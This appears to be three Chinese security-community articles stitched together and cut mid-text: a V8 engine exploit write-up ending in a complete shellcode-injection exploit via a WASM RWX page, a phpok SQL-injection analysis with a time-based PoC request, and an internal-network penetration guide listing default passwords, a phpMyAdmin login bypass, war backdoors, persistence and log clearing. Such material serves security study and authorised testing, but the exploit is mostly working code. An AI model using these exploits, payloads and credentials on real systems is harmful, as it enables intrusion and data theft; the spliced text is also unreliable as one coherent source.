#length: 0x3860ab3401a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x0831db04dd71 <FixedDoubleArray[3]> {
0: 1.1
1: 2.2
2: 3.3
}
0x2b36a3c82ed9: [Map]
- type: JS_ARRAY_TYPE
- instance size: 32
- inobject properties: 0
- elements kind: PACKED_DOUBLE_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x2b36a3c82e89 <Map(HOLEY_SMI_ELEMENTS)>
- prototype_validity cell: 0x3860ab340609 <Cell value= 1>
- instance descriptors #1: 0x251f23191f49 <DescriptorArray[1]>
- layout descriptor: (nil)
- transitions #1: 0x251f23191eb9 <TransitionArray[4]>Transition array #1:
0x25361adc4ba1 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x2b36a3c82f29 <Map(HOLEY_DOUBLE_ELEMENTS)>
- prototype: 0x251f23191111 <JSArray[0]>
- constructor: 0x251f23190ec1 <JSFunction Array (sfi = 0x3860ab34aca1)>
- dependent code: 0x25361adc02c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
pwndbg> x/12gx 0x831db04dd99-1 // JSArray
0x831db04dd98: 0x00002b36a3c82ed9 0x000025361adc0c71 // Map Properties
0x831db04dda8: 0x00000831db04dd71 0x0000000300000000 // Elements Length
0x831db04ddb8: 0x000025361adc0941 0x00000adc7d437082
0x831db04ddc8: 0x6974636e7566280a 0x220a7b2029286e6f
0x831db04ddd8: 0x6972747320657375 0x2f2f0a0a3b227463
0x831db04dde8: 0x2065726f6d204120 0x6173726576696e75
pwndbg> x/12gx 0x831db04dd71-1 // Elements
0x831db04dd70: 0x000025361adc14f9 0x0000000300000000 // Map Length
0x831db04dd80: 0x3ff199999999999a 0x400199999999999a // 1.1 2.2
0x831db04dd90: 0x400a666666666666 0x00002b36a3c82ed9 // 3.3
0x831db04dda0: 0x000025361adc0c71 0x00000831db04dd71
0x831db04ddb0: 0x0000000300000000 0x000025361adc0941
0x831db04ddc0: 0x00000adc7d437082 0x6974636e7566280a
从地址很容易可以看出，在Elements的后面紧跟的就是JSArray对象的Map，布局如下图
Elements--->+-------------+
| MAP +<------+
+-------------+ |
| Length | |
+-------------+ |
| element#1 | |
+-------------+ |
| element#2 | |
+-------------+ |
| ... | |
+-------------+ |
| element#N | |
JSArray--->--------------+ |
| MAP | |
+-------------+ |
| Properties | |
+-------------+ |
| Elements +-------+
+-------------+
| Length |
+-------------+
| ... |
+-------------+
这意味着我们可以通过JSArray对象的地址来计算得到其Elements的地址，这为我们之后伪造ArrayBuffer后寻找其地址提供了便利。
**trick**
：在调试过程中会发现，Elements并不是始终紧邻JSArray的，有些时候两者会相距一段距离。在师傅们的wp中提到可以使用`splice`来使该布局稳定，例如
var arr = [1.1, 2.2, 3.3].splice(0);
具体原理我没有找到相关资料。。可能只有等以后读了源码才知道吧（有师傅知道的话可以说说吗
### ArrayBuffer内存模型
在伪造ArrayBuffer的时候需要同时也伪造出它的Map的结构（当然，也可以对内存中ArrayBuffer的Map地址进行泄露，但是就麻烦了），通过找到JSArray的地址，+0x40即为map的地址，再将map地址填入JSArray的第一项即可。
这部分可以通过调试一个真正的ArrayBuffer并将其Map复制下来（这里并不需要全部的数据）。关于Map的内存模型可以参考[这里](https://github.com/v8/v8/blob/master/src/objects/map.h)。
var fake_ab = [
//map|properties
mem.u2d(0x0), mem.u2d(0x0),
//elements|length
mem.u2d(0x0), mem.u2d(0x1000),
//backingstore|0x2
mem.u2d(0x0), mem.u2d(0x2),
//padding
mem.u2d(0x0), mem.u2d(0x0),
//fake map
mem.u2d(0x0), mem.u2d(0x1900042317080808),
mem.u2d(0x00000000084003ff), mem.u2d(0x0),
mem.u2d(0x0), mem.u2d(0x0),
mem.u2d(0x0), mem.u2d(0x0),
].splice(0);
### 获取伪造的ArrayBuffer
和poc的代码类似，不过反了过来，先将填入一个ArrayBuffer进行优化，然后在ArrayBuffer处写入地址，则该地址将作为ArrayBuffer被解析
var ab = new ArrayBuffer(0x1000);
var obj2 = {d: {w: ab}};
function faker(o){
return o.d.w;
}
for(var i = 0; i < 0x5000; i++){
faker(obj2);
}
obj2.d = {z: mem.u2d(fake_ab_addr)}; //将泄露的JSArray的Elements地址填入
real_ab = faker(obj2); //再读取出来
## WASM
在v8利用中总是需要布置shellcode，那么在内存中找到一块具有RWX权限的区域将会十分有帮助。wasm(WebAssembly)详细概念就不在这介绍了，这里值得注意的是是用wasm可以在内存中开辟出一块RWX的内存空间。
[这里](https://wasdk.github.io/WasmFiddle/)可以将C语言编写的代码转换为wasm格式。当然，编写的c语言代码不能够调用库函数（不然就可以直接写rce了），但是只要通过漏洞，将我们的shellcode覆盖到内存中wasm代码所在rwx区域即可。
下文将展示如何定位到rwx内存区域
//test.js
const wasm_code = new Uint8Array([
0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
0x01, 0x85, 0x80, 0x80, 0x80, 0x00, 0x01, 0x60,
0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80,
0x00, 0x01, 0x00, 0x06, 0x81, 0x80, 0x80, 0x80,
0x00, 0x00, 0x07, 0x85, 0x80, 0x80, 0x80, 0x00,
0x01, 0x01, 0x61, 0x00, 0x00, 0x0a, 0x8a, 0x80,
0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80,
0x00, 0x00, 0x41, 0x00, 0x0b
]);
const wasm_instance = new WebAssembly.Instance(new WebAssembly.Module(wasm_code));
const wasm_func = wasm_instance.exports.a;
%DebugPrint(wasm_instance);
readline();
----------------------------------------------------------------------------------
pwndbg> r --allow-natives-syntax ../../exps/OOB/test.js
DebugPrint: 0x3a58a3a21241: [WasmInstanceObject] in OldSpace
- map: 0x0764807492b9 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x00aad2e48559 <Object map = 0x7648074aa29>
- elements: 0x3b8a08680c01 <FixedArray[0]> [HOLEY_ELEMENTS]
- module_object: 0x00aad2e4d5b9 <Module map = 0x76480748d19>
...
pwndbg> x/32gx 0x3a58a3a21241-1
0x3a58a3a21240: 0x00000764807492b9 0x00003b8a08680c01
0x3a58a3a21250: 0x00003b8a08680c01 0x0000000000000000
0x3a58a3a21260: 0x0000000000000000 0x0000000000000000
0x3a58a3a21270: 0x000055f7cd11b8f0 0x00003b8a08680c01
0x3a58a3a21280: 0x000055f7cd1cd100 0x00003b8a086804b1
0x3a58a3a21290: 0x0000000000000000 0x0000000000000000
0x3a58a3a212a0: 0x0000000000000000 0x0000000000000000
0x3a58a3a212b0: 0x000055f7cd1cd180 0x000055f7cd11b910
0x3a58a3a212c0: 0x00000f8fe12f0000 <--RWX area
...
pwndbg> vmmap 0x00000f8fe12f0000
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0xf8fe12f0000 0xf8fe12f1000 rwxp 1000 0
即`instance+0x80`处即存放了RWX区域的地址
wasm_inst_addr = leak_obj(wasm_instance) - 1;
rwx_area_loc = wasm_inst_addr + 0x80; //获取存放RWX指针的地址
//然后将rwx_area_loc填入ArrayBuffer的BackingStore即可泄露出RWX区域地址
## 完整利用
function success(str, val){
console.log("[+]" + str + "0x" + val.toString(16));
}
class Memory{
constructor(){
this.buf = new ArrayBuffer(8);
this.f64 = new Float64Array(this.buf);
this.u32 = new Uint32Array(this.buf);
this.bytes = new Uint8Array(this.buf);
}
d2u(val){
this.f64[0] = val;
let tmp = Array.from(this.u32);
return tmp[1] * 0x100000000 + tmp[0];
}
u2d(val){
let tmp = [];
tmp[0] = parseInt(val % 0x100000000);
tmp[1] = parseInt((val - tmp[0]) / 0x100000000);
this.u32.set(tmp);
return this.f64[0];
}
}
var mem = new Memory();
var shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];
const wasm_code = new Uint8Array([
0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
0x01, 0x85, 0x80, 0x80, 0x80, 0x00, 0x01, 0x60,
0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80,
0x00, 0x01, 0x00, 0x06, 0x81, 0x80, 0x80, 0x80,
0x00, 0x00, 0x07, 0x85, 0x80, 0x80, 0x80, 0x00,
0x01, 0x01, 0x61, 0x00, 0x00, 0x0a, 0x8a, 0x80,
0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80,
0x00, 0x00, 0x41, 0x00, 0x0b
]);
const wasm_instance = new WebAssembly.Instance(new WebAssembly.Module(wasm_code));
const wasm_func = wasm_instance.exports.a;
var fake_ab = [
//map|properties
mem.u2d(0x0), mem.u2d(0x0),
//elements|length
mem.u2d(0x0), mem.u2d(0x1000),
//backingstore|0x2
mem.u2d(0x0), mem.u2d(0x2),
//padding
mem.u2d(0x0), mem.u2d(0x0),
//fake map
mem.u2d(0x0), mem.u2d(0x1900042317080808),
mem.u2d(0x00000000084003ff), mem.u2d(0x0),
mem.u2d(0x0), mem.u2d(0x0),
mem.u2d(0x0), mem.u2d(0x0),
];
var ab = new ArrayBuffer(0x1000);
var obj1 = {c: {x: 1.1}};
var obj2 = {d: {w: ab}};
function leaker(o){
return o.c.x;
}
function faker(o){
return o.d.w;
}
for(var i = 0; i < 0x5000; i++){
leaker(obj1);
}
for(var i = 0; i < 0x5000; i++){
faker(obj2);
}
function leak_obj(o){
obj1.c = {y: o};
res = mem.d2u(leaker(obj1))
return res
}
fake_ab_addr = leak_obj(fake_ab) - 0x80;
wasm_inst_addr = leak_obj(wasm_instance) - 1;
success("fake_ab_addr: ", fake_ab_addr);
success("wasm_inst_addr: ", wasm_inst_addr);
fake_map_addr = fake_ab_addr + 0x40;
fake_mapmap_addr = fake_ab_addr + 0x80
rwx_area_loc = wasm_inst_addr + 0x80;
fake_ab[0] = mem.u2d(fake_map_addr);
fake_ab[4] = mem.u2d(rwx_area_loc);
obj2.d = {z: mem.u2d(fake_ab_addr)};
real_ab = faker(obj2);
view = new DataView(real_ab);
rwx_area_addr = mem.d2u(view.getFloat64(0, true));
success("rwx_area_addr: ", rwx_area_addr);
fake_ab[4] = mem.u2d(rwx_area_addr);
for (i = 0; i < shellcode.length; i++){
view.setUint32(i * 4, shellcode[i], true);
}
wasm_func();
# 参考资料
1. <https://mem2019.github.io/jekyll/update/2019/09/16/Real-World-2019-Accessible.html> | 社区文章 |
最近跟了一下最新phpok，分享一下挖掘思路
下载地址：<https://www.phpok.com/phpok.html>
## 分析
注入点：framework/model/list.php#arc_all
public function arc_all($project,$condition='',$field='*',$offset=0,$psize=0,$orderby='')
{
if($this->_total > 100000 && $offset > 10000){
return $this->_arc_all($project,$condition,$field,$offset,$psize,$orderby);
}
$sql = " SELECT ".$field." FROM ".$this->db->prefix."list l ";
$sql .= " JOIN ".$this->db->prefix."list_".$project['module']." ext ";
$sql .= " ON(l.id=ext.id AND l.site_id=ext.site_id AND l.project_id=ext.project_id) ";
if($project['is_biz']){
$sql .= " LEFT JOIN ".$this->db->prefix."list_biz b ON(b.id=l.id) ";
}
if($project['cate'] && $project['cate_multiple']){
$sql.= " LEFT JOIN ".$this->db->prefix."list_cate lc ON(l.id=lc.id) ";
}
if($condition){
$sql .= " WHERE ".$condition." ";
}
// 拼接$orderby参数
if($orderby){
$sql .= " ORDER BY ".$orderby." ";
}
if($psize){
$sql .= " LIMIT ".intval($offset).",".$psize;
}
//注入
$rslist = $this->db->get_all($sql,'id');
if(!$rslist){
return false;
}
return $this->_arc_list_format($rslist,$project);
}
回溯寻找调用链：`framework/phpok_call.php#_arclist`
private function _arclist($rs,$cache_id='')
{
// 264行
$orderby = $rs['orderby'] ? $rs['orderby'] : $project['orderby'];
// 270行 调用arc_all函数，将$orderby传入
$rslist = $this->model('list')->arc_all($project,$condition,$field,$offset,$psize,$orderby);
回溯：framework/api/project_control.php#load_module
private function load_module($rs,$parent_rs='')
{
// 91行
$keywords = $this->get("keywords");
$ext = $this->get("ext");
$tag = $this->get("tag");
$uid = $this->get('uid','int');
$attr = $this->get('attr');
//价格，支持价格区间
$price = $this->get('price','float');
$sort = $this->get('sort');
//186行
if($sort){
$dt['orderby'] = $sort; // 可控
$pageurl .= '&sort='.rawurlencode($sort);
$this->rlist['sort'] = $sort;
}
// 208行，通过phpok函数动态调用_arclist()函数
$info = $this->call->phpok('_arclist',$dt);
继续回溯，找谁调用了`load_module()`：framework/api/project_control.php#index_f
public function index_f()
{
//65行
if($project["module"]){
$this->load_module($project,$parent_rs);
}
}
在控制器里以`_f`结尾的函数都可以直接被调用
构造poc:`/api.php?c=project&f=index&token=1234&id=news&sort=(sleep(5))`
## 复现：
poc:
GET /api.php?c=project&f=index&token=1234&id=news&sort=(sleep(5)) HTTP/1.1
Host: phpok5_3_147
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3833.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: PHPSESSION=l87bngd1u307g20iudfmphisu4; XDEBUG_SESSION=PHPSTORM
Connection: close
sleep(4)延时24秒
数据库特性，查出几列数据order by会sleep几倍时间： | 社区文章 |
_修订记录_
编号 | 日期 | 修订内容
---|---|---
1 | 2018.5.18 | 初稿
A2 | B2 | C2
A3 | B3 | C3
# 1\. 内网安全检查/渗透介绍
## 1.1 攻击思路
有2种思路：
1. 攻击外网服务器，获取外网服务器的权限，接着利用入侵成功的外网服务器作为跳板，攻击内网其他服务器，最后获得敏感数据，并将数据传递到攻击者，看情况安装长期后门，实现长期控制和获得敏感数据的方式；
2. 攻击办公网的系统、办公网电脑、办公网无线等方式，一般是采用社工，实现控制办公电脑，再用获得的办公网数据，可能是内网的各种登录账号和密码，再获取办公网或者生产网的有用数据。
一般内网安全检查使用第一种思路，实际的攻击2种思路结合实现。
## 1.2 敏感资料/数据/信息
* 高管/系统管理员/财务/人事/业务人员的个人电脑
* 文件服务器/共享服务器
* 邮件服务器
* OA服务器
* 数据库服务器
## 1.3 攻击过程
按照第一种思路，个人认为可以分为4个阶段：
1. 信息收集
2. 漏洞验证/漏洞攻击
3. 后渗透
4. 日志清理
第二种思路，社工的比重更大一些，本篇不多做介绍。
# 2 信息收集
该阶段识别内网存活的主机 IP， 运行端口扫描和漏洞扫描获取可以利用的漏洞
## 2.1 主机发现
使用端口扫描工具可以实现主机发现的功能，但也有些动作小的主机发现工具（Kali），可以有效的发现存活主机。自己写个 ping 的循环脚本也可以。
不受限的测试直接端口扫描了。
## 2.2 端口扫描
有授权的情况下直接使用 nmap 、masscan 等端口扫描工具直接获取开放的端口信息。
作为跳板机可以使用 Metasploit 做端口扫描，也可以在跳板主机上上传端口扫描工具，使用工具扫描。
入侵到服务器上也可以根据服务器的环境使用自定义的端口扫描脚本扫描端口。
python 3 的端口扫描脚本
# This script runs on Python 3
import socket, threading
def TCP_connect(ip, port_number, delay, output):
TCPsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
TCPsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
TCPsock.settimeout(delay)
try:
TCPsock.connect((ip, port_number))
output[port_number] = 'Listening'
except:
output[port_number] = ''
def scan_ports(host_ip, delay):
threads = [] # To run TCP_connect concurrently
output = {} # For printing purposes
# Spawning threads to scan ports
for i in range(10000):
t = threading.Thread(target=TCP_connect, args=(host_ip, i, delay, output))
threads.append(t)
# Starting threads
for i in range(10000):
threads[i].start()
# Locking the script until all threads complete
for i in range(10000):
threads[i].join()
# Printing listening ports from small to large
for i in range(10000):
if output[i] == 'Listening':
print(str(i) + ': ' + output[i])
def main():
host_ip = input("Enter host IP: ")
delay = int(input("How many seconds the socket is going to wait until timeout: "))
scan_ports(host_ip, delay)
if __name__ == "__main__":
main()
有个使用 Python 端口扫描的介绍
[https://thief.one/2018/05/17/1/?hmsr=toutiao.io&utm_medium=toutiao.io&utm_source=toutiao.io](https://thief.one/2018/05/17/1/?hmsr=toutiao.io&utm_medium=toutiao.io&utm_source=toutiao.io)
Windows 下基于 Powershell 的端口扫描脚本。
<https://github.com/BornToBeRoot/PowerShell_IPv4PortScanner/tree/master/Scripts>
发现端口后使用客户端连接工具或者 nc 连接，获取服务端的 banner 信息。
## 2.3 漏洞扫描
有授权的情况下，使用绿盟极光、Nessus、Nexpose 等漏扫工具直接扫描目标，可以直接看到存活主机和主机的漏洞情况。
## 2.4 识别内网环境
获取目标的主机存活信息和端口开放信息后，就可以尝试分析目标的网络结构，安全防御策略。按照办公网和生产网分别说一下：
### 2.4.1 办公网
按照系统区分：
* OA系统
* 邮件系统
* 财务系统
* 文件共享系统
* 域控
* 企业版杀毒系统
* 上网行为管理系统
* 内部应用监控系统
按照网络区分：
* 管理网段
* 内部系统网段
* 按照部门区分的网段
按照设备区分：
* 个人电脑
* 内网服务器
* 网络设备
* 安全设备
办公网的安全防护水平一般较差（相对），能绕过杀毒软件基本上就畅通无阻了，利用信任关系容易扩大攻击面，获取数据也比生产网简单。
### 2.4.2 生产网
按照系统区分：
* 业务系统
* 运维监控系统
* 安全系统
按照网络区分：
* 各不同的业务网段
* 运维监控网段
* 安全管理网段
根据目标开展的不同业务，对应的服务器可能存在不同的网段上，分析服务器上运行的服务和进程可以推断目标使用的运维监控管理系统和安全防护系统，可以大概推断出入侵目标的
IT 运维水平和安全防护水平，在接下来的入侵考虑采用什么样的方法。
# 2 漏洞验证/漏洞攻击
使用端口扫描、漏洞扫描验证扫描目标开放的端口，在对应端口上开放的服务，运行该服务的软件和版本号。
如果只是使用端口扫描，只是发现开放的端口，接着使用 nc 可以获取端口上服务的 banner 信息，获取 banner 信息后需要在漏洞库上查找对应
CVE，后面就是验证漏洞是否存在。如果是使用漏洞扫描工具可以直接获取对应端口上的漏洞，后面也是验证漏洞。
安全检查一般是尽可能的发现所有漏洞，对漏洞的风险进行评估和修复。入侵的话只关注高危远程代码执行和敏感信息泄露漏洞等可以直接利用的漏洞。
漏洞验证可以找对应的 CVE 编号的 POC、EXP，利用代码在 ExploitDB 、seebug上查看或者在 github
上搜索是否有相关的漏洞验证或利用的工具。
## 2.1 Web
### 2.1.1 自定义 Web 应用
从公网直接攻击目标对外的 Web
应用，或者在授权的情况下在内网进行渗透测试，如果是入侵目的可以直接寻找注入、上传、代码执行、文件包含等高危漏洞，尝试获取系统权限，或者直接能拿到敏感数据。
允许扫描的话一般使用 WVS 直接扫描，也可以使用专门扫描特定漏洞的扫描工具如 sqlmap、XSStrike
等工具扫描特定类型的漏洞。不允许直接扫描，使用 Burp 手工慢慢找了。
### 2.1.2 Web 中间件
#### 1\. Tomcat
Tomcat是Apache Jakarta软件组织的一个子项目，Tomcat是一个JSP/Servlet容器，它是在SUN公司的JSWDK（Java
Server Web Development
Kit）基础上发展起来的一个JSP和Servlet规范的标准实现，使用Tomcat可以体验JSP和Servlet的最新规范。
* 端口号：8080
* 攻击方法：
* 默认口令、弱口令，爆破，tomcat5 默认有两个角色：tomcat和role1。其中账号both、tomcat、role1的默认密码都是tomcat。弱口令一般存在5以下的版本中。
* 在管理后台部署 war 后门文件
* 远程代码执行漏洞
* 参考：
* <https://paper.seebug.org/399/>
* <http://www.freebuf.com/column/159200.html>
* <http://liehu.tass.com.cn/archives/836>
* <http://www.mottoin.com/87173.html>
#### 2\. Jboss
是一个运行EJB的J2EE应用服务器。它是开放源代码的项目，遵循最新的J2EE规范。从JBoss项目开始至今，它已经从一个EJB容器发展成为一个基于的
J2EE 的一个Web 操作系统（operating system for web），它体现了 J2EE 规范中最新的技术。
* 端口：8080
* 攻击方法：
* 弱口令，爆破
* 管理后台部署 war 后门
* 反序列化
* 远程代码执行
* 参考：
* <http://www.vuln.cn/6300>
* <http://mobile.www.cnblogs.com/Safe3/archive/2010/01/08/1642371.html>
* <https://www.zybuluo.com/websec007/note/838374>
* <https://blog.csdn.net/u011215939/article/details/79141624>
#### 3\. WebLogic
WebLogic是美国Oracle公司出品的一个Application
Server，确切的说是一个基于JAVAEE架构的中间件，WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java
Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
* 端口：7001，7002
* 攻击方法：
* 弱口令、爆破，弱密码一般为weblogic/Oracle@123 or weblogic
* 管理后台部署 war 后门
* SSRF
* 反序列化漏洞
* weblogic_uac
* 参考：
* <https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf>
* <https://blog.gdssecurity.com/labs/2015/3/30/weblogic-ssrf-and-xss-cve-2014-4241-cve-2014-4210-cve-2014-4.html>
* <https://fuping.site/2017/06/05/Weblogic-Vulnerability-Verification/>
* <https://bbs.pediy.com/thread-224954.htm>
#### 4\. WebSphere
IBM公司一套典型的电子商务应用开发工具及运行环境。
* 端口：默认端口：908*；第一个应用就是9080，第二个就是9081；控制台9090
* 攻击方法：
* 控制台登录爆破
* 很多内网 websphere 的控制台存在弱口令 / 默认口令，可以使用 admin/admin 以及 webshpere/webshpere 这种口令登录。 通过该口令登录控制台后，可以部署 war 包，从而获取到 WEBSHELL 。
* 反序列化
* 任意文件泄露
* 参考：
* [https://loudong.sjtu.edu.cn/?keyword=WebSphere&serverity=%E9%AB%98%E5%8D%B1](https://loudong.sjtu.edu.cn/?keyword=WebSphere&serverity=%E9%AB%98%E5%8D%B1)
* <http://www.fr1sh.com/wooyun_1/bug_detail.php?wybug_id=wooyun-2013-036803>
* <https://gist.github.com/metall0id/bb3e9bab2b7caee90cb7>
#### 5\. Glassfish
### 2.1.3 Web 框架
#### 1\. Struts2
Struts2是一个优雅的,可扩展的框架,用于创建企业准备的Java Web应用程序。出现的漏洞也着实的多每爆一个各大漏洞平台上就会被刷屏。
* 可利用漏洞
* S2-046 CVE-2017-5638 Struts 2.3.5-2.3.31,Struts 2.5-2.5.10
* S2-045 CVE-2017-5638 Struts 2.3.5-2.3.31,Struts 2.5-2.5.10
* S2-037 CVE-2016-4438 Struts 2.3.20-2.3.28.1
* S2-032 CVE-2016-3081 Struts 2.3.18-2.3.28
* S2-020 CVE-2014-0094 Struts 2.0.0-2.3.16
* S2-019 CVE-2013-4316 Struts 2.0.0-2.3.15.1
* S2-016 CVE-2013-2251 Struts 2.0.0-2.3.15
* S2-013 CVE-2013-1966 Struts 2.0.0-2.3.14
* S2-009 CVE-2011-3923 Struts 2.0.0-2.3.1.1
* S2-005 CVE-2010-1870 Struts 2.0.0-2.1.8.1
* 参考：
* <https://github.com/hktalent/myhktools>
* <https://github.com/Lucifer1993/struts-scan>
* <https://github.com/SecureSkyTechnology/study-struts2-s2-054_055-jackson-cve-2017-7525_cve-2017-15095>
#### 2\. Spring 框架
Spring Framework 是一个开源的Java／Java EE全功能栈（full-stack）的应用程序框架，以Apache License
2.0开源许可协议的形式发布，也有.NET平台上的移植版本。Spring
Framework提供了一个简易的开发方式，这种开发方式，将避免那些可能致使底层代码变得繁杂混乱的大量的属性文件和帮助类。
* 可利用漏洞
* CVE-2010-1622
* CVE-2018-1274
* CVE-2018-1270
* CVE-2018-1273
* 反序列化
* 目录穿越
* 参考
* <http://www.inbreak.net/archives/377>
* <https://www.secpulse.com/archives/71762.html>
* <http://www.open-open.com/news/view/1225d07>
* <https://xz.aliyun.com/t/2261>
* <https://xz.aliyun.com/t/2252>
### 2.1.4 Web 服务器
* **IIS** ：Windows 的 WWW 服务器
* 端口：80
* 攻击方法：
* IIS，开启了 WebDAV，可以直接详服务器 PUT 文件
* 短文件名枚举漏洞
* 远程代码执行
* 提权漏洞
* 解析漏洞
* 参考：
* <https://masterxsec.github.io/2017/06/07/IIS-write-%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8/>
* <http://www.freebuf.com/articles/4908.html>
* <https://www.anquanke.com/post/id/85811>
* **Apache**
* 端口：80
* 攻击方法：
* 解析漏洞
* 目录遍历
* **Nginx**
* 端口：80
* 攻击方法：
* 解析漏洞
* 目录遍历
* CVE-2016-1247：需要获取主机操作权限，攻击者可通过软链接任意文件来替换日志文件，从而实现提权以获取服务器的root权限。
* 参考：
* <https://www.seebug.org/vuldb/ssvid-92538>
* **lighttpd**
* 端口：80
* 攻击方法：
* 目录遍历
## 2.2 常见运维系统
一般分自动化部署和运维监控相关的的工具。漏洞可以通过搜索引擎搜索，github搜索，ExploitDB搜索，官网上的安全通告获取。
内网的通用类应用比较常见的问题是弱口令，如果一个管理员可以登录几个系统，那在这几个系统的账号、密码也基本上是一样的。
### 2.2.1 Gitlab
GitLab是一个利用 Ruby on Rails 开发的开源应用程序，实现一个自托管的项目仓库，可通过Web界面进行访问公开的或者私人项目。
* 可利用漏洞：
* 任意文件读取漏洞
* 意用户 token 泄露漏洞
* 命令执行漏洞
* 参考：
* <http://blog.knownsec.com/2016/11/gitlab-file-read-vulnerability-cve-2016-9086-and-access-all-user-authentication-token/>
* <http://rinige.com/index.php/archives/577/>
### 2.2.2 Jenkins
Jenkins是一种跨平台的持续集成和交付的应用软件，它便于不断稳定地交付新的软件版本，并提高你的工作效率。这款开发运维工具还让开发人员更容易把项目的变化整合起来，并使用大量的测试和部署技术。
* 可利用漏洞：
* 远程代码执行漏洞
* 反序列化漏洞
* 未授权访问漏洞
* 登录入口爆破
* 参考
* <https://www.cnblogs.com/backlion/p/6813260.html>
* <https://www.anquanke.com/post/id/86018>
* <https://paper.seebug.org/199/>
### 2.2.3 Puppet
Puppet
Enterprise专门管理基础设施即代码(IAC)，在这种类型的IT基础设施配置过程中，系统用代码而不是脚本流程来自动构建、管理和配置。由于它是代码，整个过程易于重复。Puppet有助于更容易控制版本、自动化测试和持续交付，可以更快速地响应问题或错误。
* 可利用漏洞，很少公开的POC
* 反序列化
* 远程命令执行
### 2.2.4 Ansible
Ansible是一种配置和管理工具，面向客户端的软件部署和配置，支持Unix、Linux和Windows。它使
用JSON和YAML，而不是IAC，根本不需要节点代理就可以安装。它可以通过OpenStack在内部系统上使用，也可以在亚马逊EC2上使用。
* 可利用漏洞
* 远程代码执行
### 2.2.5 Nagios
Nagios是一款开源的电脑系统和网络监视工具，能有效监控Windows、Linux和Unix的主机状态，交换机路由器等网络设置，打印机等。在系统或服务状态异常时发出邮件或短信报警第一时间通知网站运维人员，在状态恢复后发出正常的邮件或短信通知。
* 可利用漏洞
* 代码执行
* SQLi
* 参考
* <http://www.bugku.com/thread-87-1-1.html>
* <http://www.mottoin.com/93936.html>
### 2.2.6 Zabbix
Zabbix 是一款强大的开源分布式监控系统, 能够将`SNMP`、`JMX`、`Zabbix Agent`提供的数据通过`WEB GUI`的方式进行展示.
* 可利用漏洞（具体参考 ExploitDB）：
* 远程代码执行
* SQLi
* shell 命令注入
* 认证绕过
* 默认账户与密码，默认口令 admin/zabbix，或者是guest/空
* 参考
* <https://blog.csdn.net/ytuo1223/article/details/45937981>
* <http://vinc.top/2017/04/18/zabbix%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/>
* <http://www.mottoin.com/87570.html>
### 2.2.7 Cacit
Cacti是一套基于PHP,MySQL,SNMP及RRDTool开发的网络流量监测图形分析工具。
* 可利用漏洞
* 任意代码执行
* SQLi
* 登录爆破
* 默认密码admin/admin
* 参考：
* <http://wooyun.jozxing.cc/static/bugs/wooyun-2011-02674.html>
### 2.2.8 Splunk
Splunk Enterprise 可以从任何来源监控和分析机器数据，以提供操作智能，从而优化您的 IT、安全和业务绩效。Splunk Enterprise
具有直观的分析功能、机器学习、打包应用程序和开放式 API，是一个灵活的平台，可从重点用例扩展到企业范围的分析主干。
* 可利用漏洞
* 信息泄露
* 命令注入
* 服务端请求伪造
* 参考
* ExploitDB 搜索
## 2.3 常见 Web 应用
还有常见邮件应用、CMS 应用，在搜索引擎上查找对应的漏洞，利用已知漏洞进行攻击。
### 2.3.1 邮件系统
一部分是使用腾讯企业邮箱、阿里企业邮箱的，很难有可利用的漏洞，另外一种是能独立部署的邮件系统，政企常用的邮箱应用：
* Coremail
* 亿邮
* 35互联
* TurboMail
* Exchange
* IBM Lotus
### 2.3.2 CMS 应用
## 2.4 数据库/缓存/消息服务
### 2.4.1 MySQL数据库
* 默认端口：3306
* 攻击方法：
* 爆破：弱口令
* 身份认证漏洞：[CVE-2012-2122](http://www.freebuf.com/vuls/3815.html)
* 拒绝服务攻击
* Phpmyadmin万能密码绕过：用户名：‘localhost’@’@” 密码任意
* 提权
* 参考：
* <https://www.seebug.org/appdir/MySQL>
* <http://www.waitalone.cn/mysql-tiquan-summary.html?replytocom=390>
* <https://xz.aliyun.com/t/1491>
### 2.4.2 MSSQL数据库
* 默认端口：1433（Server 数据库服务）、1434（Monitor 数据库监控）
* 攻击方法：
* 爆破：弱口令/使用系统用户
* 注入
* 参考：
* <https://www.anquanke.com/post/id/86011>
### 2.4.3 Oracle数据库
* 默认端口：1521（数据库端口）、1158（Oracle EMCTL端口）、8080（Oracle XDB数据库）、210（Oracle XDB FTP服务）
* 攻击方法：
* 爆破：弱口令
* 注入攻击；
* 漏洞攻击；
-参考：
* <https://www.leiphone.com/news/201711/JjzXFp46zEPMvJod.html>
### 2.4.4 PostgreSQL数据库
